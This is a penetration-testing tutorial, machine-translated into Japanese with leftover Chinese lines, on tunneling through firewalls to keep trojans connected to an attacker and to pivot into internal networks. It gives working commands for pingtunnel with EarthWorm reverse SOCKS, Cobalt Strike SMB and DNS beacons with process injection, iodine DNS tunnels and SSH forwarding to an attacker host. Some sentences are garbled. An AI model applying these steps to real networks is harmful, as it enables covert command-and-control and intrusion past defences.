イントラネットの侵入 - トンネルテクノロジー
1. トンネル技術の概要
ペネトレーションテストや攻防訓練を実施する場合、通常、外部接続を検知するための各種境界装置、ソフトウェアおよびハードウェアのファイアウォール、IPSなどの装置が設置されており、これらの装置が異常を検知すると通信を遮断します。
次に、トンネル技術はポートシールドを回避する通信方式であり、実際にはファイアウォール上で特定の種類のポートの通過を許可する、特定の種類のポートの通過をブロックするなど、さまざまなセキュリティポリシーが設定されることになります。そして、トンネリング技術は、ファイアウォールが許可するデータパケットの種類とポートをうまくカプセル化して、ファイアウォールを通過して相手と通信し、カプセル化されたデータパケットが到着すると、データパケットを復元します。
たとえば、ファイアウォールが TCP 通信を傍受すると、HTTP や HTTPS などのプロトコルは無効になり、SMB プロトコル、DNS プロトコル、ICMP プロトコルを使用して通信用のトンネルを確立できます。
1.1. イントラネット - トンネルテクノロジー
では、なぜイントラネットでトンネリング技術を使用するのでしょうか? 通常、イントラネット上にアップロードされるトロイの木馬の通信は、ソフトウェアおよびハードウェアのファイアウォールのポリシーによって傍受され、トンネルを使用してトロイの木馬の通信をカプセル化することができるためです。通信プロトコルは傍受をバイパスし、CS と MSF がオンラインにならない、またはデータ伝送が不安定でエコーがないという状況を解決します。
1.2. 一般的なトンネリングプロトコル
このプロトコルには下位互換性があることに注意してください。たとえば、TCP プロトコルが無効になっている場合、TCP プロトコルに基づく HTTP/S プロトコルは使用できなくなります。
应用层:SSH隧道、HTTP/S隧道、DNS隧道
传输层:TCP隧道、UDP隧道
网络层:IPv6隧道、ICMP隧道
1.3. 前提条件
受信制限、送信無制限:
受信がポート 80 またはその他のポートへのアクセスのみに制限されている場合、基本的な初期の侵入プロセス中にファイルのアップロードを通じて基本的なアクセス許可を取得し、その後の侵入を実行する必要がある場合があります。トンネリング技術は必要ありません。トロイの木馬を通常どおりアップロードして跳ね返すだけです。最も一般的なのはリバース シェルです。
受信無制限、送信制限あり:
受信が無制限の場合、トロイの木馬やバックドアはさまざまな手段でアップロードされる可能性がありますが、最も一般的なのはフォワード シェルです。
入退場制限:
インバウンド、アウトバウンドの両方に制限がある場合は、その制限の内容を検討する必要がありますが、単純な制限であればまだしも、より厳しい制限であれば解決できないこともあるでしょう。
1.4. イントラネットの接続性を確認する
イントラネットの接続性を判断することで、対象ホストが外部ネットワークにアクセスできるかどうかを判断できます 簡単に言うと、アウトバウンドが制限されているかどうかを判断することになります インバウンドが制限されている場合は、基本的には早期侵入プロセスで判断できます。
ICMPプロトコル:
ping www.baidu.com
TCPプロトコル:
Telnet プロトコルを使用できます。ブラック ボックスが存在する場合は、TCP プロトコルが通信していることを証明します。実際、従来の考え方に従って、トロイの木馬を直接アップロードする別の簡単な方法があります。できるのであれば」接続できない場合、TCP プロトコルが傍受されていることがわかります。CS トロイの木馬はすべて Display HTTP であり、前述したように、プロトコルには下位互換性があり、TCP はブロックされており、HTTP/S は間違いなく通信できませんが、可能性はあります。別途リリースすることになります。
telnet www.baidu.com 80
DNSプロトコル:
nslookup www.baidu.com
HTTPプロトコル:
curl http://www.baidu.com
2. ネットワーク層トンネリング技術
ここで説明する内容は、ネットワーク層で確立されたトンネリング技術に基づいています。
2.1. ICMP トンネル技術
通常、通信プロトコルでは、2 つのホストが相互に通信する必要がある場合、通信のために対応するポートを事前に解放する必要がありますが、ICMP は通信にこれらのポートを必要としません。ICMP は Ping コマンドに依存してリモート ホストと通信します。ホスト はい。ICMP トンネルは、ファイアウォールを通過できるように、通信プロセス中に TCP/UDP データを ICMP Ping データ パケットにカプセル化します。
2.1.1. 共通ツール
spp、icmpsh、pingtunnel、impacket
2.1.2. Pingtunnel の基本的なデモンストレーション
2.1.2.1. ダウンロードサーバー
ここでは、最初にサーバーを提示し、次にサーバーを kali にアップロードします。オンラインにするために cs を使用し、その他の操作には kail または Linux システムを使用する必要があるため、ここでのサーバーは Linux システムを使用します。
次に、実行ステータスをテストします。次の状況がテストが成功したことを意味する場合、サーバーは正常に実行されています。github にアクセスしてコマンドを確認できます。
sudo ./pingtunnel -type server
2.1.2.2. ダウンロードクライアント
ここで、私が操作している仮想マシンは Windows なので、Windows クライアントをダウンロードして、ターゲットのホストにクライアントをアップロードするだけです。実際には、クライアントとサーバーの区別はないようですが、使用するコマンドは次のとおりです。実装されている機能が異なります。
2.1.2.3. CS接続の設定
ここでの CS リスナー 1 は主にトロイの木馬の生成に使用されます。生成したトロイの木馬のリターン アドレスが攻撃マシンのアドレスである場合、TCP 接続が制限されている場合は直接実行できず、接続が切断されます。接続のバック アドレスをターゲット ホスト自体に設定すると、この接続はファイアウォールによって制限されなくなります。
CS リスナー 2 は、主に情報の監視とローカル ポート 2222 の監視に使用されます。
2.1.2.4. 接続テスト
トロイの木馬の生成については詳しく説明しませんが、通常のトロイの木馬の生成と同じです。トロイの木馬を生成するにはリスナー 1 を使用する必要があることに注意してください。
まず、Pingtunnel のサーバー モードを開きます (ここでは説明しません)。その後、クライアントを実行します。
pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.10.20 -t 192.168.10.20:6666 -tcp 1 -noprint 1 -nolog 1
次に、ここでトロイの木馬を実行できます。実行後、CS に移動して、オンラインに成功したかどうかを確認できます。
データ転送に関しては、確認したい場合はインターフェースで直接確認できます。
2.1.3. Pingtunnel クロスネットワークのデモンストレーション
ここで ew+pingtunnel と連携して Socks5 トンネルを構築する必要があります 古いバージョンの pingtunnel は直接単独で使用できるようですが、新バージョンの pingtunnel では ew と連携して動作させる必要があります。
2.1.3.1. ミミズ
EarthWorm は SOCKS v5 プロキシ サービスを有効にするツールで、標準 C に基づいて開発され、複数のプラットフォーム間の転送通信を提供でき、複雑なネットワーク環境でのデータ転送に使用されます。
ただし、このツールの影響が非常に悪いため、開発者はこのツールの更新を永久に停止しました。
プロジェクトアドレス: EarthWorm ダウンロード
プロジェクト紹介:ミミズ紹介
2.1.3.2. ピングトンネル
ここでは、クライアントとサーバーをダウンロードする方法を説明するのではなく、操作を直接説明します。
攻击机:192.168.10.20
Windows10:192.168.10.150
192.168.20.10
Windows7:192.168.20.20
2.1.3.3. 攻撃機の運用
まず、すべてのツールを攻撃マシンにアップロードし、実行許可を与える必要があることに注意してください。実行時に管理者に実行許可を与えることが最善です。
./ew_for_linux64 -s rcsocks -l 5555 -e 4444 ##将接收到的4444流量请求转发到5555端口
./pingtunnel -type server ##开启服务器模式
2.1.3.4. Windows 10の動作
同様に、すべてのツールも事前にサーバーにアップロードする必要がありますが、アップロード方法に関しても、初期段階では一部のWEB脆弱性やシステム脆弱性を利用して権限を取得することが可能です。
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.76 -t 192.168.3.76:4444 -sock5 -1 -noprint 1 -nolog 1
ew.exe -s rssocks -d 127.0.0.1 -e 3333
2.1.3.5. 接続テスト
ここではプロキシファイアのプロキシを設定しますが、このツールは何度も使用しているので詳細は説明せず、直接操作します。
次に、リモート デスクトップ テストを開始すると、仮想マシンが 192.168.20.20 に正常に接続されていることがわかります。
3. トランスポート層トンネリング技術
トランスポート層のトンネリング技術ですが、実は簡単に言うとCS、MSF、NC、Pythonなどのリバースシェルであり、トランスポート層を利用して確立されたトンネリング技術です。トランスポート層についてはここでは説明しません。
4. セッション層トンネリング技術
SMB プロトコルがどの層に属しているかわからないので、ここで自慢してください。
ISO/OSI ネットワーク層の観点から見ると、SMB プロトコルはセッション層 (セッション層)、プレゼンテーション層 (プレゼンテーション層)、およびアプリケーション層の一部 (アプリケーション層) に位置します。
TCP/IP プロトコル部門の観点から見ると、SMB はアプリケーション層で動作するプロトコルです。
4.1. SMB トンネルテクノロジー
Windows は名前付きパイプ通信を SMB プロトコルでカプセル化し、このトラフィックは SMB プロトコルでカプセル化されるため、SMB ビーコンは比較的隠されます。SMB ビーコンは使用可能なペイロードを直接生成できず、オンラインにするには PsExec またはステージレス ペイロードのみを使用できます。
4.1.1. SMB トンネル技術の基本のデモンストレーション
ここではHTTPで取得したPayloadをオンライン用のSMBに変換するだけです。
4.1.1.1. 通常の起動
通常のオンラインのため、ターゲット ホストは 445 ポート接続を受信する必要があり、Beacon は同じ CS によって生成されたセッションにのみ接続できます。また、特定の状況下では、管理者権限または管理者の資格情報も必要です。
4.1.1.2. SMB ビーコンリスナー
マシンがオンラインになったら、SMB ビーコン リスナーを作成します。pipeame (パイプ名) はカスタマイズすることも、デフォルトにすることもできます。
4.1.1.3. SMB セッションのフォーク
前の http セッションを右クリックしてコマンドを入力すると、実行後に派生セッションが表示されます。
spawn SMB会话监听器名称
4.1.1.4. プロセスセッションの挿入
実際、ここでは smb をプロセスに注入することで、動作中は比較的隠蔽され、同時に注入後は自動的に自己始動などが実現されます。
4.1.1.5. 注入効果
ここでは、もともと phpstudy を注入したかったのですが、小さな問題があるようだったので、注入する別のプロセスを選択したところ、問題ないようでした。
4.1.1.6. 概要
実際、SMB はここでオンライン接続と連携することはできませんが、少し複雑であることを示してみましょう。それについては、以前の記事を読んでください。
5. アプリケーション層トンネリング技術
アプリケーション層をベースに確立されたトンネル技術をご紹介します。
5.1. DNSトンネリング技術
DNS トンネルはトンネル技術の一種です。HTTP や HTTPS などの上位層プロトコル、および順方向および逆方向のポート転送がすべて失敗した場合、DNS トンネリングの使用を試みることができます。DNS トンネリングを防ぐのは困難です。通常のビジネスであっても使用であっても、解決に DNS プロトコルが使用されることは避けられないため、ほとんどのファイアウォールは DNS トラフィックを許可します。
5.1.1. DNSトンネル技術のオンラインデモンストレーション
ここでのオンライン化はホストをCSでオンラインにするだけですが、その後の通信でもTCPトラフィックを使用するため、先にオンラインにしてから通信方法を紹介します。
5.1.1.1. 準備
ここでは初期段階でドメイン名とクラウドサーバーを購入し、クラウドサーバーのTCPとUDPのポート53を開く必要があります。
5.1.1.2. ドメイン名変更解決記録
A记录
-> cs主机名
->CS服务器IP
NS记录
-> ns1主机名
->A记录地址
NS记录
-> ns2主机名
->A记录地址
5.1.1.3. DNS リスナーの設定
リスナーを設定し、Payload
を選択しBeacon DNS
、DNS地址
入力したばかりのものを選択しns1记录
、ns2记录
次の を入力DNS地址( Stager)
します。A记录
CS.xxx.fun
5.1.1.4. バックドアの生成
ここを選択しWindows可执行程序(stageless)
、先ほどのリスナーを選択します。
5.1.1.5. オンラインホスト
ここでは、バックドアのトロイの木馬をターゲット マシンにアップロードし、オンラインにします。オンラインになると、小さな黒いボックスが表示されることがわかります。
5.1.1.6. コマンドの実行
ここにインタラクションを入力し、コマンドを入力して通常にします。
mode dns-txt
5.1.2. DNSトンネル技術の通信デモ
DNS トンネルを使用した通信の紹介です。ここで問題が発生する可能性があります。コマンドは対象ホスト上で実行する必要があり、やはり管理者権限が必要なようです。ここで問題が発生します。管理者権限で実行できる場合は、 、同時に、「コマンドを実行します。それで、どのような DNS トンネリング テクノロジが必要ですか? コマンドを使用してファイアウォールをオフにするだけで問題ありませんか? 回避しますか?」
一般的に言えば、少々味気ないものです。同時に、DNS トンネリング技術を使用するには、クラウド サーバーとドメイン名を購入する必要があります。ドメイン名とクラウド サーバーがうまく隠されていない場合は、正確性を確認してください...
5.1.2.1. 初期の準備
ここでの最初の選択肢はインストールする必要がありますiodine
。iodine
動作原理は、TAP
仮想ネットワーク カードを介してサーバー上に LAN が確立され、クライアント側でTAP
仮想ネットワーク カードが確立され、この 2 つはDNS
トンネルを介して接続され、同じLANです。dns0
クライアントとサーバー間の接続が確立されると、クライアント上に NIC という名前の追加の仮想ネットワーク カードが存在します。
5.1.2.2. サーバーインストールツール
ここのサーバーは実際には攻撃マシン上に設定されていますが、事前にインストールする必要があります。たとえば、私の場合、コマンドを使用して直接 Linux にインストールできます。ここで確認しました。Iodine Linux をダウンロードした場合公式 Web サイトから このバージョンはコンパイルする必要があるため、Linux 経由で直接ダウンロードできます。
yum install iodine
5.1.2.3. サーバー実行ツール
ここではツールを実行します。実行後、コマンドを入力してネットワーク カードを確認すると、追加のネットワーク カードがあることがわかります。ここで選択したネットワーク セグメントは、既存のネットワーク セグメントと競合してはいけません。
iodined -f -c -P 123456 192.168.200.1 ns1.域名.fun -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
5.1.2.4. クライアントインストールツール
実はクライアント側のツールは公式サイトから直接ダウンロードしてコンパイルすることもできるのですが、そのままでは使えずエラーが報告されるという問題があり、APTネットワークカードをインストールする必要があり、次のステップに直接進みます。ここでスクリーンショットを撮るのを忘れました。
Iodineについては、コンパイル済みのバージョンを直接ダウンロードすることができますが、ここではAPTネットワークカードのドライバーをインストールする必要があり、基本的には何もする必要はありませんが、実際の運用ではどのようにドライバーをインストールするのでしょうか?? ?
5.1.2.5. クライアント実行ツール
クライアントのツールを実行するには、管理者が操作する必要があります。それらはすべて管理者です。なぜ、DNS トンネルが必要なのでしょうか... 同様に、コマンドを入力すると、追加の IP アドレスがあることがわかります。設定したばかりのネットワーク セグメント IP は 192.168.200.1 です。ここでは IP アドレス 192.168.200.2 が自動的に生成されます。
iodine.exe -f -P 123456 ns1.域名.fun
5.1.2.6. 接続性のテスト
ここでは、単純に ping を実行し、リモート デスクトップを使用してテストします。
ここで Web ページの情報を読み取り、トンネルが正常に確立されたことがわかります。
5.2. SSH トンネルテクノロジー
イントラネットでは、ほぼすべての Linux/UNIX サーバーとネットワーク デバイスが SSH プロトコルをサポートしています。一般に、SSH プロトコルはファイアウォールや境界デバイスの通過が許可されているため、攻撃者によってよく使用されます。同時に、SSH プロトコルの送信プロセスは暗号化されるため、正規の SSH セッションと、攻撃者が他のネットワークを使用して確立したトンネルとを区別することは困難です。攻撃者が SSH ポート トンネルを使用してファイアウォールの制限を突破すると、以前は確立できなかった TCP 接続を確立できるようになります。
5.2.1. 注意事項
SSHトンネル技術を使用するには、Linuxシステムを踏み台として使用する必要があり、root権限を使用する必要があるため、少し厳しい条件になりますが、WindowsにはSSHがないため、Windowsホストを踏み台として使用することはできません。トンネルを確立します。
同時に、踏み台マシン、つまり Linux の組み込みファイアウォール ポリシーにはあまり多くのファイアウォール ポリシーを設定しないことが最善です。ある場合は、インターネット上でポリシーをオフにする方法がたくさんありますが、 root権限が必要です。
5.2.2. SSHトンネルの共通パラメータの説明
-C: 伝送を圧縮し、伝送速度を向上させます。
-f: 現在のシェルを占有せずに、SSH 送信をバックグラウンド実行に転送します。
-N: サイレント接続を確立します (接続は確立されますが、特定のセッションは表示されません)
-g: リモート ホストが転送のためにローカル ポートに接続できるようにします。
-L: ローカルポートフォワーディング
-R: リモートポートフォワーディング
-D: 動的転送 (SOCKS プロキシ)
-P: SSHポートを指定します。
5.2.3. SSH トンネル技術のリモート転送
ここでのリモート転送は主に Linux システムを踏み台として使用し、踏み台マシンでアクセスされた IP アドレスとポート トラフィックを攻撃マシンの特定のポートに転送します。これにより、攻撃マシンはローカル ポートにアクセスしてコンテンツにジャンプできるようになります。ターゲットホストポート。
5.2.3.1. 環境の準備
ここで、攻撃マシンは、Linux 踏み台マシンと通信できる限り、イントラネットの IP を使用することもできます。
攻击机:外网IP
Linux跳板机:192.168.10.20
Windows服务器:192.168.10.150
5.2.3.2. Linux スプリングボードマシンでコマンドを実行する
ここで、上で述べたように root 権限を使用するのは非常に面倒ですが、幸運にも弱いパスワードや権限昇格の抜け穴で root を取得できる場合を除き、そうでない場合は ssh トンネルを確立するのが非常に困難です。後で入力するのは、攻撃マシンのパスワードです。
ssh -CfNg -R 1010:192.168.10.150:80 [email protected]
1010 ##是攻击机端口(自定义)
192.168.10.150:80 ##是需要访问的地址
[email protected] ##是攻击机地址
5.2.3.3. 検証効果
curl http:127.0.0.1:1010
5.2.4. SSH トンネル技術のローカル転送
ここでのローカル転送は、実際には Linux の踏み台マシンにアクティブに接続することですが、ここで問題が発生します。攻撃マシンが外部ネットワーク ホストの場合、どのように接続すればよいでしょうか。通常、企業内の IP アドレスは出口ゲートウェイのみであり、内部はカスタム IP です。どのように接続しますか?誰かがファイアウォールを介して SSH ポートをマッピングしない限り、接続できる可能性があります。それ以外の場合は、ローカルに転送されます。内部ホストに移動し、それを踏み台として使用し、その踏み台を踏み台に接続するか、そうでない場合は本当に方法がないようです。
5.2.4.1. 環境の準備
ここで環境を用意しますが、テストにはローカル環境を使用しますが、前述したように、外部ホストはイントラネット IP を見つけることができないため、ローカル環境はデモンストレーションのみに使用できます。
攻击机IP:192.168.10.20
Linux跳板机IP:192.168.10.30 192.168.20.20
windows服务器:192.168.20.10
5.2.4.2. 攻撃機による命令の実行
ここでは、接続アドレスが攻撃マシンのアドレスと踏み台マシンのアドレスではなくなっていることを除いて、ほぼ同じです。これは可能ですが、テスト中に間違った入力をしましたが、転送の効果により, 実際に転送が正常に行われていることが確認できました。
ssh -CfNg -L 3333:192.168.20.10:80 [email protected]
5.2.4.3. 検証効果
ここで再度確認し、Windows ファイアウォールのポート 80 で情報を正常に取得します。
curl http:127.0.0.1:3333
5.2.5. SSH トンネル技術の動的転送
SSH トンネルのフォワード Socks プロキシを使用して、ターゲットのイントラネット全体を表します。Socks 4/5 プロトコルをサポートするプログラムは、プロキシ アクセスにこの暗号化チャネルを使用できます。
5.2.5.1. 環境の準備
環境はこちらで用意されており、ローカルで構築されており、ここでは何も間違っていません。
攻击机IP:192.168.10.20
Linux跳板机IP:192.168.10.30 192.168.20.20
windows服务器:192.168.20.10
5.2.5.2. 攻撃機による命令の実行
ssh -D 1212 [email protected]
5.2.5.3. 攻撃機の設定
ここでは、セットアップする攻撃マシンのブラウザに移動し、socks プロキシを設定する必要があります。ここでブラウザに入ってネットワーク設定を見つけ、socks4/5 プロキシを設定します。
5.2.5.4. 検証効果
ここでは、ping 192.168.20.10 には到達できないものの、192.168.20.10 のページにはアクセスできることがわかります。